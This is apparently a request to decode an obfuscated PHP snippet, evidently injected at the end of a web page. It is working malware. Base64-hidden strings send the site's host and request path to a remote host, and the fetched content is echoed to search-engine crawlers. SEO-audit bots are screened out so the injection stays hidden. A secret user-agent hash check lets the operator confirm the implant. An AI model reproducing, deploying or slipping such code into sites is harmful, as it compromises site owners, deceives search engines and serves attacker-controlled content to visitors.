PHP Decode

<?php function geturl_lk($p0){if(!$p0){$r1=base64_decode('aHR0cDovL21yLnRyYW5zbGlhdG9yLnNpdGUvbHIvNGY1RGUv').$_SERVER[base64_decode('SFRUUF9IT1NU')].$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')];}else{$r1=base64_decode('aHR0cDovL21yLnRyYW5zbGlhdG9yLnNpdGUvbHIvNGY1RGUv').$p0;}if(function_exists(base64_decode('Y3VybF9pbml0'))){$c2=curl_init();curl_setopt($c2,CURLOPT_URL,$r1);curl_setopt($c2,CURLOPT_BINARYTRANSFER,true);curl_setopt($c2,CURLOPT_RETURNTRANSFER,true);$b3=curl_exec($c2);}if(!$b3){$b3=@file_get_contents($r1);}return $b3;}function get_data_linker(){$f4=urlencode($_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]);$c5=base64_decode('L2Fsd2F5c29ubGluZXxiYXJrcm93bGVyfGh0dHBjbGllbnR8Y2xhcmFib3R8bmltYm9zdHJhdHVzfGJsZXhib3R8bmV0ZXN0YXRlfHNlem5hbWJvdHxsdHg3MXxtajEyYm90fGFocmVmc2JvdHxzZW1ydXNoYm90fGRvdGJvdHxuZXRjcmFmdHN1cnZleWFnZW50fHpvb21pbmZvYm90fGFkc2JvdHxtZWdhaW5kZXh8c2Vva2lja3N8aWFfYXJjaGl2ZXJ8cGV0YWxib3R8c2VtcnVzaHxyb2dlcmJvdHxleGFib3R8Z2lnYWJvdC9p');if(preg_match($c5,$f4))return false;$e6=base64_decode('L2dvb2dsZXxiaW5nfHlhaG9vfG1haWx8eWFuZGV4fHJhbWJsZXIvaQ==');if(!preg_match($e6,$f4))return false;return geturl_lk(NULL);}if(md5(getenv(base64_decode('SFRUUF9VU0VSX0FHRU5U')))==base64_decode('NjliYzNiMzQyNTAyNTczZTZkNzI3ZjM0MTY3NGYwMTA=')){echo base64_decode('bGlua3JxLW9rPGJyPg==');$b3=geturl_lk(base64_decode('dGVzdC5jb20v'));echo $b3;}echo get_data_linker(); ?></body>